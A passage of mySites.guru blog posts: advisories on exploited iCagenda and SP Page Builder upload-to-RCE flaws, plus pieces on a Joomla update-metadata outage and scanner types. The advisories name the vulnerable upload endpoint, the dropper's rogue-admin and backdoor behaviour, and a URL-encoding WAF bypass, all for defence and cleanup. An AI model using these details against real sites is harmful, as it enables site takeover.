We Saw It Being Used Before There Was a Fix

This was not found by reading code in the abstract. The first evidence was three lines in a client's real access log, in sequence: grab a session, post the malicious upload to the submit endpoint, then fetch the planted shell at the exact path the component writes attachments to. The user agent was icagenda-batch/1.0, which tells you this is tooling built specifically to grind through lists of Joomla sites running iCagenda.

That sequence is the textbook signature of a working exploit, not a probe. JoomliC's own advisory dates the automated attacks from 15 June 2026, 8am UTC, which lines up with what we saw. It is also why we did not sit quietly and wait for a patch before warning people. A flaw being actively used in the wild, with no fixed version to update to, is the definition of a zero day, and the only responsible move was to get the warning out while pushing the developer for a fix.

To confirm it was the component and not something else on the client's server, we reproduced the whole attack on a clean local Joomla 6 install running the exact 4.0.7 build, using a safe proof of concept that only wrote a harmless marker file. It worked on defaults, with nothing special configured. No guest submission toggle, no special category, nothing. The upload succeeded from an anonymous session because the access check was in the wrong place, and Joomla 6 did not stop the file the way earlier versions would have.

Update to 4.0.8 (or 3.9.15), and Mind the Old Files

The fix is iCagenda 4.0.8 for the current line, released 15 June 2026, or 3.9.15 for sites still on the legacy 3.x branch, released the following day on 16 June. We did not just trust the version number, we read the new code. It properly closes both halves of the bug: the upload now goes through Joomla's own MediaHelper allow-list, which rejects .php and other dangerous extensions, and the access check is now enforced on the processing path, not only in the view. That second fix is the one that matters on Joomla 2.5 through 5, where the upload was already blocked by core but the access bypass was not. Both fixes are real. Updating is the right move regardless of which branch or Joomla version you are on.

You have three ways to do it:

Joomla admin: update iCagenda the normal way through the Joomla updater
mySites.guru dashboard: push the update across several sites at once without logging into each one
Direct download: grab 4.0.8 or 3.9.15 from icagenda.com and install it over the top

The one thing that matters is that you land on 4.0.8/3.9.15 or later. If you took emergency action before the patch existed and renamed or removed the component, reinstall it from a clean download rather than putting the old files back, otherwise you are restoring the vulnerable version.

One trap worth calling out: unpublishing iCagenda in the Joomla admin does not protect the site. The submit endpoint stays reachable and the uploaded files stay both writable and web-served regardless of whether the component is published. Before 4.0.8 existed, the only reliable stop short of patching was to rename the com_icagenda folders so Joomla could not route to them. Now that there is a real fix, just update.

Updating Closes the Door. It Does Not Undo a Break-In

This is the step people skip, and it is the one that matters most if a site was already targeted. Updating to 4.0.8 stops the next attempt. It does nothing about a shell that was uploaded last week. Because this was being actively exploited before the patch, you have to assume your Joomla 6 sites were hit and check them. Sites on Joomla 5 and earlier could not have received a PHP shell through this path, since core blocked the upload, but it still costs nothing to look, and any unapproved events sitting in the queue are a sign the bypass was used.

The thing to look for is any file that should not exist under images/icagenda/frontend/attachments/. That folder is only ever meant to hold uploaded event attachments. A .php file in there is a web shell until proven otherwise. mySites.guru runs a file scanner on every snapshot, twice a day, on every connected Joomla site, and flags known web shell signatures and files that have no business being there. Open each affected site in the dashboard and check its Hacked? section.

If you find something, treat that site as compromised and clean it properly: keep a copy of anything suspicious for evidence, remove it, change your Joomla passwords and secrets, and audit the whole site rather than just the iCagenda folder. Anyone who got in through one component will usually leave a second way back in somewhere you would not think to look. Finding one mess is a reason to check the whole house.

This Keeps Happening to Joomla Components

iCagenda is not an outlier. It joins a steady run of third-party Joomla component vulnerabilities we have written up this year, several with the same shape: an endpoint that should have been locked down, reachable without authentication, doing something dangerous. The Astroid framework backdoor and the Novarain framework RCE were both unauthenticated code execution in widely-installed extensions. The vulnerable JCE editor was another file upload. The underlying pattern, where an AJAX or form endpoint skips its authorization check, is one of the most common ways Joomla sites get hacked through no fault of the site owner.

The lesson is not "stop using extensions". Extensions are what make Joomla useful. The lesson is that the security of your sites depends on code other people wrote, shipped on someone else's schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites are exposed and be able to patch them all at once. That is the entire reason mySites.guru indexes every extension on every site you connect. When the next one drops, and there will be a next one, you want to be the operator who patched before the scanner arrived, not the one reading their access log afterwards.

Disclosure Timeline

15 June 2026, 8am UTC: Per JoomliC, automated attacks targeting iCagenda installs begin
15 June 2026: A client forwards an access log showing live exploitation by icagenda-batch/1.0
15 June 2026: We confirm the flaw by code review of 4.0.7 and reproduce the upload-to-shell end to end on a clean local Joomla 6 install with a safe proof of concept
15 June 2026: We send a responsible-disclosure report and the safe proof of concept to the developer
15 June 2026: JoomliC releases iCagenda 4.0.8, flagged as a critical security release. We review the new code and confirm both halves of the bug are properly fixed
16 June 2026: JoomliC releases 3.9.15 for the legacy 3.x branch
20 June 2026: CVE-2026-48939 published by the Joomla security team

Credit to JoomliC for turning a same-day fix around on a critical report. That is exactly how responsible disclosure is supposed to go.

CVE Record

This vulnerability is tracked as CVE-2026-48939, published 20 June 2026 by the Joomla security team.

Field	Detail
CVE ID	CVE-2026-48939
CVSS 4.0 Score	10.0 Critical
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red`
CWE	CWE-284: Improper Access Control
Affected versions	iCagenda 3.2.1 through 3.9.14 and 4.0.0 through 4.0.7
RCE scope	Joomla 6 only (earlier Joomla versions block the upload in core); access bypass on all Joomla versions
Fixed in	3.9.15 (legacy) and 4.0.8 (current)
Exploit maturity	Actively Attacked

SP Page Builder Zero Day Is Being Used to Plant Fake Joomla Admins

phil@mysites.guru (Phil Taylor) — Mon, 15 Jun 2026 00:00:00 GMT

There is a particular kind of hacked Joomla site that looks completely fine until you open the user list and find Super Administrators nobody created, with plausible-sounding names like "Web Editor" or "Admin Backup" and email addresses at @secure.local. We have been seeing those accounts turn up across Joomla sites this month, and we traced them back to a single cause: a zero day in SP Page Builder, the popular page builder by JoomShaper.

The flaw lets anyone, with no login at all, upload a PHP web shell through one of the component's own endpoints and then run it. That is remote code execution: full control to steal data, deface pages, plant backdoors, or use the server to attack other sites. The attacker's payload uses that control to create the hidden Super User, so even after the entry point is closed they still have a way back in. It affects every version up to and including 6.6.1, and it is already being exploited in the wild.

The patch is SP Page Builder 6.6.2. If you run any Joomla site with SP Page Builder installed, update it now, then read on for what the bug does, how to spot the hidden admin, and how to check the rest of your sites in one place.

TL;DR

CVE-2026-48908 - CVSS 4.0 score: 10.0 Critical (CWE-284: Improper Access Control)
Unauthenticated file upload to remote code execution in SP Page Builder, through the asset.uploadCustomIcon task. No login required
Affects every version up to and including 6.6.1. Fixed in 6.6.2
Already exploited in the wild. The payload plants a hidden Super Administrator account, usually with an @secure.local email, plus a PHP file manager backdoor in several spots for persistence
This is a different vector from the recent JCE wave. A WAF that returns 403 for the JCE exploit paths may still let this one through with a 200
Update to 6.6.2 on every affected site, then check for rogue Super Users and clean any site that was hit. Unpublishing the component does not protect you

This is being actively exploited right now. The fix exists, and the technical detail is going public, which means more scanners will know exactly what to look for. The sites that get caught are the ones still on an old version when that happens. Update to 6.6.2 before you do anything else, then check whether you were already hit.

Find Sites With Rogue Super Admins, Across Every Joomla Site, in mySites.guru

When a zero day plants a hidden admin account, the dangerous part is not the one site you already found. It is the other forty you have not checked yet. Logging into every Joomla admin and reading the user list one site at a time is exactly the job nobody finishes before the attacker comes back.

We built a dedicated check for this. mySites.guru now has a Rogue Super Admin Accounts tool that looks for the signature of this compromise: Super Administrator accounts carrying the attacker's @secure.local email domain. It runs across every connected Joomla site and lists the sites that have one, so you find all of them in seconds instead of discovering them one nasty surprise at a time. When it finds a rogue admin, you can delete it straight from the dashboard, then move on to cleaning the rest of the site.

To find which of your sites even run SP Page Builder in the first place, mySites.guru records the exact version of every installed extension across every connected Joomla site on a twice-daily snapshot. The extension search shows you every site running SP Page Builder, grouped by version. Filter for anything below 6.6.2 and you have your patch list. Combined with the mass extension updater, you can push 6.6.2 across every affected site in one batch.

If you do not have a mySites.guru account yet, start a free trial and connect your sites. The extension index and the rogue admin check both run automatically on the first snapshot, so you will know straight away which sites are exposed and which are already compromised.

What the Bug Actually Did

SP Page Builder exposes a controller task named asset.uploadCustomIcon, reached through a normal Joomla request:

index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon

That task is meant to handle a small administrative job, uploading a custom icon. The problem is that it processed the uploaded file with no authentication check and no server-side restriction on the file type, then wrote it to a folder under the web root. Joomla ships helpers that validate uploads against an allow-list of safe extensions, and this path did not use them. So an attacker could upload a .php file, browse to it, and the server would execute it. That is the whole chain, and it is as bad as web vulnerabilities get.

Because the task required no login, the attack worked against a completely default install. There was nothing to enable, no guest setting to toggle, no SP Page Builder page that needed to be published. The endpoint was reachable on any Joomla site with the component installed.

We are deliberately not publishing a working exploit. The mechanism above is enough to understand the risk and confirm your sites are patched. It is not a recipe. The fix is out, so the right response to this post is to update and check your admins, not to test it on someone else's site.

We reviewed the 6.6.2 source to confirm the fix is real. In every version up to 6.6.1, the SP Page Builder site controller that handles asset.uploadCustomIcon ran no access check at all, which is why an anonymous request reached the upload. 6.6.2 adds a gate that runs before every task in that controller: it requires a logged-in user who holds Joomla admin or component-manage permission, plus a valid anti-CSRF token, and returns a 401 or 403 otherwise. The endpoint that was wide open is now behind the authentication and authorization it should always have had. That is the whole fix, and it is why landing on 6.6.2 closes the door.

What the Attacker Leaves Behind

This is the part that makes the SP Page Builder zero day worse than a smash-and-grab. The attacker does not just get one-time code execution and move on. The payload uses that access to set up a quiet, durable foothold.

First, it creates hidden Super Administrator accounts. We have seen sites with several at once, carrying forgettable usernames built from a generic role word and a couple of digits. Alongside webeditor48, sitehelper7 and adminbk, real accounts we have pulled off compromised sites include webeditor67, webmaster63, webmanager38, siteeditor38, webmanager43 and portaladmin51, with reassuring display names like "Web Editor", "Site Helper" and "Admin Backup". The exact names vary from site to site, so do not treat them as a fixed list to match against. The group is always Super Users, and the email address always ends in @secure.local. That email domain is the giveaway. It is not a real domain, and no legitimate Joomla account uses it. If you see even one Super User with an @secure.local address, that site has been compromised through this exploit.

We pulled a copy of the dropper off a compromised site, and the part that builds the account explains exactly why the signature is so consistent. It picks a username at random from a small hard-coded list of innocent-sounding role words (webeditor, contentmgr, sysadmin, webmaster, portaladmin, siteeditor, webmanager, cmsadmin), tacks on two digits, and stamps the email as that username @secure.local. It connects straight to the database using the credentials it read out of configuration.php, sets sql_mode to empty to dodge strict-mode rejections, inserts the user unblocked, maps it into the Super Users group, and writes the matching #__assets row so the account looks completely native in the admin. The @secure.local suffix is hard-coded into the dropper, which is what makes it worth hunting for: it never changes, site to site.

Second, it drops a PHP file manager backdoor. This is a full-featured admin panel, branded internally as "PHP File manager ver 1.4", with file browsing, a built-in PHP console, and a SQL console. The attacker plants several identical copies of it in innocuous-looking places, typically a .php file under images/<random>/fonts/, and stray copies named users.php in folders like /media/com_admin/ and /media/regularlabs/. The point of scattering identical copies is persistence: if you find one and delete it, the others are still there, and they all let the attacker straight back in.

One operational note if you are reading your logs. Joomla writes the user account's creation timestamp in the site's own timezone, taken from configuration.php, not in UTC. Your web server access logs are usually in UTC. So a rogue admin that looks like it was created at, say, 19:20 in the user table can correspond to an upload at 02:20 the next morning in the access log. Convert before you go looking, or you will search the wrong window and conclude, wrongly, that the log is clean.

A WAF That Stops the JCE Hack Might Not Stop This

If you have been keeping up with Joomla security this year, you have already deployed WAF rules for the JCE editor file upload. It is tempting to assume those rules cover this too. They often do not.

This is a separate vector with a separate request signature. We have watched WAF configurations, including ones tuned specifically for the JCE wave, correctly return a 403 for the com_jce exploit paths while letting the SP Page Builder asset.uploadCustomIcon request sail through with a 200. The rule was written for the last attack, not this one. That is the trap with signature-based blocking: it protects you against exactly the thing it was told about and nothing else.

If you cannot update to 6.6.2 immediately, a web server rule that blocks requests carrying the asset.uploadCustomIcon task will buy you time. One thing to watch: the dot in the task name can be sent URL-encoded as %2e, and a naive rule that only matches a literal dot will miss it. The rule has to account for the encoded form too. But a blocking rule is a stopgap. The real fix is the update.

Update to 6.6.2, Then Hunt the Admin

The fix is SP Page Builder 6.6.2. Updating to it closes the upload hole. You have three ways to do it:

Joomla admin: update SP Page Builder the normal way through the Joomla updater
mySites.guru dashboard: push the update across several sites at once without logging into each one
Direct download: grab 6.6.2 from joomshaper.com and install it over the top

The one thing that matters is that you land on 6.6.2 or later. If you took emergency action before updating and renamed or removed the component, reinstall it from a clean 6.6.2 download rather than putting the old files back, otherwise you are restoring the vulnerable version.

But updating only stops the next attempt. Because this was being actively exploited and the payload plants a hidden admin, you have to assume some sites were hit and check every one.

Updating Closes the Door. The Hidden Admin Is Already Inside

This is the step people skip, and on this vulnerability it is the one that matters most. A patched site with a rogue Super User on it is still fully compromised. The attacker does not need the upload bug any more, they have a Super Administrator login.

For every site that had SP Page Builder below 6.6.2:

Check the user list for accounts you did not create. The clear signal is a Super Administrator with an @secure.local email. mySites.guru's Rogue Super Admin check does this across all your Joomla sites at once, lists every flagged account so you can see exactly who will be removed, and deletes them all with one click. Deletion is permanent and there is no backup, so note anything you want for evidence first

Do not treat a clean result as all-clear. If the check finds no @secure.local admins, that only rules out this specific account signature. The site can still be hacked, so run a full audit and the Suspect Content scan anyway

Look for the dropped webshell. Search for unexpected .php files under images/<random>/fonts/, and for stray files named users.php in folders like /media/com_admin/ and /media/regularlabs/. The file contents will mention a "PHP File manager". Multiple identical copies is normal for this attack, so do not stop at the first one. You do not have to grep for these by hand: mySites.guru already catches them
Let the scanner find the backdoor for you. These users.php "PHP File manager" droppers are exactly what mySites.guru's Suspect Content and Hacked file scanners are built to flag. The scanner runs on every snapshot, twice a day, on every connected Joomla site, matching files against thousands of web shell signatures and surfacing files that do not belong, so a copy hiding in /media/com_admin/ is found just as readily as the one under images/<random>/fonts/. Open each affected site in the dashboard and check its Hacked? section. Worth knowing which flag is which: see Suspect Content vs Hacked Files for what each result means and which ones are a confirmed compromise rather than a pattern match

If you find anything, treat that site as compromised and clean it properly: remove the rogue admin and every backdoor copy, rotate your Joomla passwords, database credentials and FTP/SSH keys, force-logout all sessions, and audit the whole site rather than just the SP Page Builder folder. Someone who got in through one component will usually leave a second way back in somewhere you would not think to look. Finding one mess is a reason to check the whole house.

This Keeps Happening to Joomla Components

SP Page Builder is not an outlier. It joins a steady run of third-party Joomla component vulnerabilities we have written up this year, several with the same shape: an endpoint that should have been locked down, reachable without authentication, doing something dangerous. The iCagenda zero day was another unauthenticated file upload, found the same week as this one. The Astroid framework backdoor and the Novarain framework RCE were both unauthenticated code execution in widely-installed extensions. The vulnerable JCE editor was another file upload, and PageBuilder CK (a different page builder again, from a different vendor) was the same unauthenticated upload-to-RCE story a few months later. JoomShaper's own Helix3 template framework has since joined the list: its unauthenticated flaw is being mass-exploited in the Hacked by AntonKill defacement wave, the same vendor and the same class of bug turning up again in a different product. The underlying pattern, where an AJAX or form endpoint skips its authorization check, is one of the most common ways Joomla sites get hacked through no fault of the site owner.

The lesson is not "stop using extensions". Extensions are what make Joomla useful, and SP Page Builder is genuinely good at its job. The lesson is that the security of your sites depends on code other people wrote, shipped on their own schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites run it, patch them all at once, and check whether any were already turned into an attacker's beachhead. That is the entire reason mySites.guru indexes every extension on every site you connect and ships a specific check the moment a specific attack like this one appears. When the next one drops, and there will be a next one, you want to be the operator who patched and swept before the scanner came back, not the one finding an @secure.local admin three weeks later.

CVE Record

This vulnerability is tracked as CVE-2026-48908, published 20 June 2026 by the Joomla security team.

Field	Detail
CVE ID	CVE-2026-48908
CVSS 4.0 Score	10.0 Critical
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red`
CWE	CWE-284: Improper Access Control
Affected versions	SP Page Builder 1.0.0 through 6.6.1
Fixed in	6.6.2
Exploit maturity	Actively Attacked

Joomla Update Not Possible Because the Offered Update Has Expired

phil@mysites.guru (Phil Taylor) — Sat, 13 Jun 2026 00:00:00 GMT

You click Check for Updates in Joomla, expecting the new version you know is out, and instead get a red banner:

Update not possible because the offered update has expired.

Depending on your language pack you might see it worded slightly differently, for example "The update is not possible because the proposed update has expired." It is the same error either way.

The wording makes it sound like your site did something wrong. It did not. This is a security feature working exactly as designed, and the cause is almost always on Joomla's side, not yours. Most of the forum threads you will find answer it with "try a manual update" or "clear your cache" without ever explaining what actually happened, which means a lot of people end up resetting and reinstalling things that were never broken.

Here is the real mechanism, how to tell whether the problem is Joomla's update server or your own install, and the right fix for each, so you stop the second it is safe to.

TL;DR

This is the Joomla core project's problem, not yours, and there is nothing on your site for you to fix. Their update server stopped receiving the freshly signed files it needs, the existing ones expired, and your Joomla correctly refused to trust expired data. You cannot fix it from your end. You wait for the Joomla core project to get their ducks in a row and redeploy the files, which they have had to do more than once before. Re-check in an hour, and if you genuinely cannot wait, use Upload and Update with the package from joomla.org.

How mySites.guru Caught This Across Thousands of Joomla Sites

When we manage thousands of Joomla sites at mySites.guru, an error that fires on Joomla's central update server is not a one-site curiosity. It hits every site at once, and we want to know about it before clients do.

We built a monitor that watches Joomla's TUF update endpoints every hour and emails us the moment the signing metadata is expired or about to expire. It checks the same three signed files Joomla clients read (timestamp, snapshot, targets) across three vantage points: what the CDN serves, what the origin server serves once you bust the cache, and what the source repository holds. When those three disagree, something in Joomla's publishing pipeline has stalled and every site checking for an update in that window will see the expired-update error.

That is exactly what happened on 13 June 2026, and the monitor is why this post exists. The numbers below are the live state our check recorded that afternoon, not a reconstruction.

timestamp.json, verified live 2026-06-13 around 19:00 UTC
Source	Version	Expires	State
joomla/updates git repo (HEAD)	v1106	2026-06-16	fresh
update.joomla.org/cms origin (cache-bust MISS)	v1100	2026-06-13 01:20 UTC	expired ~18h ago
update.joomla.org/cms via Cloudflare (HIT)	v1100	2026-06-13 01:20 UTC	expired, last modified Jun 11

If you run more than a handful of Joomla sites, this is the difference between learning about an update outage from a dashboard and learning about it from a client. The rest of this post is the full explanation, which works whether or not you use a management platform.

What Does the Joomla "Offered Update Has Expired" Error Actually Mean?

The error is a TUF freeze-attack warning. Internally it is the language string JLIB_INSTALLER_TUF_FREEZE_ATTACK, and it fires when the signed update metadata Joomla downloads has an expiry date that is now in the past.

Since Joomla 5.1, core updates are secured with TUF, The Update Framework. Instead of trusting a plain XML file, Joomla downloads a set of cryptographically signed metadata files and verifies them before it will install anything. Every one of those files carries an expiry date on purpose. A freeze attack is when someone replays old but still-valid-looking update data to keep your site frozen on an outdated, vulnerable version. TUF defends against it by refusing any metadata whose expiry has passed.

So when Joomla says the offered update has expired, it is not describing your site. It is telling you the metadata it just fetched from the update server was past its expiry date, and it correctly refused to trust it. That refusal is the feature, not the bug.

Why Is My Joomla Site Showing This If Nothing Is Wrong?

Because the expired metadata almost always comes from Joomla's own update server, not your site. There are two distinct causes, and they need different responses.

Cause one, the common one: Joomla's update server served an expired file. Joomla re-signs the shortest-lived metadata file, timestamp.json, every day, because it is set to expire after just three days. That fresh file then has to be deployed to the public update server and the CDN cache cleared. If that daily deploy stalls, the server keeps serving the previous file until it expires, and from that moment every site that checks for updates gets the freeze-attack error. Nothing is wrong with any of those sites. They are all correctly refusing an expired file.

Cause two, the rarer one: your own cached metadata is genuinely stale. A site that has been dormant for months, or one restored from an old backup, can hold a long-expired copy of the metadata locally. When it finally checks for updates and compares its cached file against the current time, the file is expired and the same error fires. This one really is local to your site, and it is the only case where resetting your update component is the correct fix.

Telling them apart is simple, and the next section is the test.

How Do I Tell Whether It Is Joomla's Server or My Site?

Run two quick checks before you change anything.

Wait an hour and re-check. Go to System then Update and click Check for Updates again about an hour later. If it succeeds, the cause was a transient expired file on Joomla's server that has since refreshed. You are done, and you correctly avoided touching a site that was never broken.
Try Upload and Update. Download the version you want from joomla.org and use Extensions then Manage then Upload and Update. This path installs a package you supply by hand and bypasses the TUF live update channel completely, so the expired-metadata check never runs. If Upload and Update works while the normal check fails, that is near-proof the package is fine and only the live update channel is affected, which means the problem is the server, not your install.

If the error clears on its own within a day, or appears on multiple sites at once, it is the server-side cause and there is nothing to fix on your end. If it persists for days on a single long-dormant or restored site while other sites update fine, it is the local-cache cause, and only then should you reset.

Note

A host-side or CDN cache in front of your outbound update requests can also hold an expired file locally. If you run your own caching proxy, ask your host not to cache responses from update.joomla.org for longer than about an hour.

A Real Example: The 13 June 2026 Outage, Traced End to End

This is the part the forum threads never get to. On 13 June 2026 we watched the whole chain in real time, so here is exactly what broke.

Joomla's timestamp.json has a three-day life. Version 1100 was signed on 10 June with an expiry stamped at 2026-06-13 01:20 UTC, and it was the last version the update server received (its copy was last modified 11 June). The job that re-signs the file and pushes it to the server is supposed to replace it every day, well before that expiry. It stopped.

The publish pipeline has two halves. A signing half re-signs the timestamp and commits it to the joomla/updates repository. A deploy half, run by the project's Drone CI, copies the signed files to the public update server over SFTP and purges the Cloudflare cache, then posts a "Repository deployed" status back on the commit. Looking at the commit history, that "Repository deployed" status appears on every commit up to and including 10 June, then vanishes. From 11 June onward, every "Update timestamp" commit sits with no deploy status at all. Drone simply stopped deploying after 10 June.

That is why version 1100 was the last file the update server received before the deploys stopped. It expired on 13 June at 01:20 UTC, three days after it was signed, and nothing newer reached the server to replace it.

The signing half, meanwhile, kept running. The repository normally gets one "Update timestamp" commit a day. On 13 June it got four: the scheduled 01:21 run (version 1103), then three more off-schedule at 13:12, 14:27 and 18:27, up to version 1106. That cadence is a maintainer manually re-running the pipeline through the afternoon, trying to get a deploy to fire. Each run re-signed and committed a fresh timestamp to the repository, and not one of them changed anything on the live server, because the deploy half was the part that was down. We confirmed the server was still serving the expired version 1100 by re-requesting with a cache-buster and getting 1100 back, last modified 11 June, hours after the repository had raced ahead to 1106.

Snapshot and targets, the other two metadata files, were fine the whole time (they expire in December and August). It was purely the expired timestamp gate, served by a deploy pipeline that had silently stopped three days earlier, blocking every refresh.

The result: a global, transient outage of Joomla's update check, where the metadata was genuinely expired and every site correctly refused it, fixed not by any of those sites but by Joomla's infrastructure team getting the deploy working again.

Why Joomla 6 Sites Got Hit Hardest

Joomla runs two parallel update channels, and which one your site uses depends on its version.

Older sites use the plain XML channel at update.joomla.org/core/list.xml. It is an unsigned set of XML files that has existed for years, and it was completely healthy throughout this outage, correctly offering the current versions to the sites that read it. Sites on Joomla 4 and earlier never saw the error, because their update path was never the broken one.

Sites on Joomla 5.1 and later use the signed TUF channel instead, and that is the one with the expired timestamp gate. Here is the detail that explains why the reporter on Joomla 6.0.4 was stuck while plenty of other sites updated fine: the legacy XML channel stops at the Joomla 5 line. It offers 5.4.6 as the newest core and lists no Joomla 6 release at all. Every Joomla 6 release, 6.0.1 through 6.1.1, is published only through the signed TUF channel.

That leaves a Joomla 6 site with no fallback. When the TUF timestamp expired, there was no second, unsigned channel to drop back to, so the update check was fully blocked. The signed data itself was never the problem. The targets file that lists every available version, including the 6.1.1 the reporter wanted, was valid and current the whole time. The only thing standing between that site and its update was the single expired timestamp file the deploy pipeline had stopped refreshing.

This Has Happened Before, Repeatedly

The reason we treat this as a server-side event first and a site problem second is that the public record is clear: the same error has surfaced over and over for two years, and every time it has been fixed on Joomla's side with no site touching anything.

Date	Report	Outcome
Jul 2024	Issue #43772 (Joomla 5.1.2): a corrupt, zero-length metadata file served to many sites.	Closed the same day. Fixed at the server, no Joomla release.
Jan 2025	Issue #44798 (Joomla 5.2.3): "Remote timestamp metadata expired" while updating.	Fixed server-side within hours. No client action.
Jul 2025	Issue #45789 (Joomla 5.3): "happens to many clients" and even when no update was due.	Closed in minutes. "Already solved" at the server end.
Jun 2026	Issue #47950 (Joomla 6.0.4): the outage traced above, expired timestamp v1100.	Resolved by redeploying the timestamp file.

The maintainers have been candid about the cause from the start. Back on the July 2024 report, Joomla release-team member Harald Leithner laid out the exact mechanism that has caused every recurrence since:

Joomla uses cloudflare as CDN for our update server, it caches the tuf json files (for j5.1+) and the xml files (for < 5.1). [...] Everyday the timestamp.json is regenerated with an uptodate time, we upload the file from the drone CI to our webserver, this tooks a couple of ms. In case cloudflare (or one of the cloudflare mirrors) downloads the file at exact the time the file is created it's possible that it gets a 0-length file. We use rclone for upload which should prevent this error but I hadn't the time to debug it in deep. Clearing our cloudflare cache resolves this issue [...]

When it recurred in July 2025, Joomla co-founder Brian Teeman gave the same verdict in a sentence: "I am assuming that it was at the TUF server end and it has been fixed there. So no Joomla release required, the problem should have already disappeared".

A reporter on the same issue put the client-side takeaway most plainly: it is on Joomla's infrastructure side that Cloudflare does the caching, not on yours. Simply wait.

That is the whole reason this post leads with "it is not your site." A documented, recurring race condition on Joomla's own update CDN is the prior probability you should start from every time you see this error.

Should I Reset My Joomla Update Component?

Only if you have ruled out the server-side cause first. Resetting is the right fix for genuinely stale local metadata and the wrong fix for a transient server glitch, where it does nothing except cost you time.

When you have confirmed it is local (the error persists for days on one dormant or restored site while others update normally), you have three options:

Reset Joomla! Update via Akeeba Admin Tools. If you run Admin Tools, its Reset Joomla! Update feature clears the cached update state cleanly. This is the least error-prone option.
Clear the update sites cache. In Extensions then Update Sites, rebuild and re-check so the next fetch pulls fresh signed metadata.
Upload and Update. Download the package and install it by hand, which sidesteps the TUF channel entirely and gets the site current immediately.

For a site you are bringing back from a long sleep, Upload and Update is often the fastest path to current, after which the normal channel works again because the now-current install fetches fresh metadata on its next check.

Watching This Across a Portfolio Without Refreshing Tabs

A single site owner can afford to wait an hour and re-check. An agency running dozens or hundreds of Joomla sites cannot afford to discover an update outage one support ticket at a time.

mySites.guru already runs a daily check against every connected site's update streams and emails you the result of auto-updates for both successes and failures, so an account-wide pattern of update failures surfaces as a cluster of alerts rather than a slow trickle of confused clients. Pair that with uptime monitoring and a scheduled backup before any update runs, and an event like the 13 June outage becomes something you read about in an alert and choose to ignore, because you already know it is Joomla's server and not your sites.

"The offered update has expired" is a failure that looks local but is usually global. The agencies that handle it calmly are the ones with a portfolio-wide view that shows them, in one glance, that every site is failing the same check at the same time. That is the signature of a server-side cause, and the signal to wait rather than touch anything.

When the Error Is Worth Actually Worrying About

There is one case where this error is a real local problem you should act on: a single production site, kept current, that suddenly cannot update while every other site you run can. That rules out the server-side cause. At that point you are looking at genuinely stale local metadata, a host-side cache holding an expired file, or a clock on the server set wrong enough that even fresh metadata looks expired. Check the server time first (an NTP drift into the future makes every valid file look expired), then the cache, then reset the update component.

Everything else, the overwhelming majority of the time, is Joomla's update server having a bad few hours. Your site refusing the expired file is the system protecting you, and the correct response is patience, not surgery.

Suspect Content vs Hacked Files: Two mySites.guru Tools, One Big Difference

phil@mysites.guru (Phil Taylor) — Thu, 11 Jun 2026 00:00:00 GMT

Your audit finishes and you go looking at the files it flagged. mySites.guru now hands you two separate tools for this, not one list. One of them, Suspect content, is a pile of files worth a look. The other, Hacked files, is a pile of files that are hacked, full stop. Knowing which tool you're in changes what you do next.

The big difference comes down to how a file lands in each tool. Suspect content matches on the file's content. Hacked files matches on the file's hash. That one distinction is why they're separate, and it's worth a minute to understand before you start deleting anything. If your sites aren't connected yet, a free security audit will show you both tools against your own webspace.

Two tools, one source scan

Every mySites.guru audit reads every file in your webspace, every line, including the dormant files a browser-based scanner never sees. The full mechanics of the scan are a post of their own. From that one scan, two different detection methods feed two different tools:

Suspect content: the file's content matches one or more of 1,500+ hand-written hack patterns. Translation: worth a look. This is a heuristic, and false positives are expected.
Hacked files: the file's MD5 hash matches a file already confirmed as hacked. Translation: confirmed. This is a fact, with no false positives.

You'll find both sitting next to each other under the Hacked group in your audit:

These two used to share a list. Giving each its own tool means you never again confuse a file that needs a human eye with a file that has already been condemned.

One thing surprises people: the Suspect content tool may well contain hacked files. Not files we've cleared, files we simply haven't confirmed yet. A backdoor dropped on your site this morning matches our patterns the moment we scan it, so it shows up under Suspect content. It only moves to the Hacked files tool once its exact hash is on our confirmed list, which happens after a human or the AI reviews it. Suspect content is the inbound net. Hacked files is everything that net has already caught and condemned.

What does a suspect content match actually mean?

A suspect content match means a file in your webspace contains code matching at least one of more than 1,500 patterns built from real hacks found on real Joomla and WordPress sites over two decades. It does not mean the file is malicious. It means the file uses code that hackers also use, and it deserves a look.

Hackers write in the same language as legitimate developers. move_uploaded_file() powers every legitimate upload form, and every dropped webshell. mail() sends your contact form enquiries, and a spammer's payload. Base64 turns up in CSS image handling as often as it does in obfuscated backdoors. A pattern match without context proves nothing either way, which is exactly why these files land in Suspect content rather than Hacked files.

False positives here are the design working, not failing. The patterns are deliberately inclusive because the alternative is missing the one real backdoor among the 20,000 files on a typical site. The Suspect content tool's job is to shrink 20,000 files down to a dozen worth reading, and across the 90,000+ sites connected to mySites.guru, that's exactly what it does. This is the same reason a host's scanner can wrongly flag legitimate code, as happened when OVH called one of our backup files malware. The difference is what you do with the flag: investigate it, or treat it as a verdict.

Click any flagged file name and the tool shows you the exact matched lines with line numbers, alongside the file's modification date, size, and permissions. You can edit the file in place or delete it without ever opening an FTP client. Here's a real one, a BYTE_BUNK webshell caught with 7 pattern matches across its 1,698 lines, from shell_exec() calls to its own boastful title tag:

The Hacked files tool means act now

The Hacked files tool lists files whose MD5 hash matches a file already confirmed as hacked. An identical hash means identical bytes: your file is the same, character for character, as one that has been examined and condemned before. There is no maybe at this confidence level, and no false positives. Where Suspect content judges a file on what it contains, Hacked files judges it on what it is, the full-file hash, which is why this tool gets to call its results facts.

Every one of the 14,000+ hashes on that list has been through review before it earned its place. For years that reviewer was me, reading each backdoor line by line before flagging it. Today the AI malware analysis adds confirmed-malicious verdicts to the same list, and I still see every AI verdict and overrule the wrong ones before they pollute the data.

Important

A file in the Hacked files tool means your site is compromised, not just that one file. The attacker got in somehow. Deleting the file removes a symptom, not the entry point.

If a file lands in Hacked files, switch from triage to incident response: follow our guide to fixing a hacked Joomla or WordPress site, or hand the whole job to fix.mysites.guru for a set-fee cleanup.

How do I triage a wall of flagged files?

Work in confidence order: the Hacked files tool first, then AI verdicts on the Suspect content list, then manual review. This turns a wall of thirty flags into three short queues, and most of the time the third queue is empty by the time you reach it.

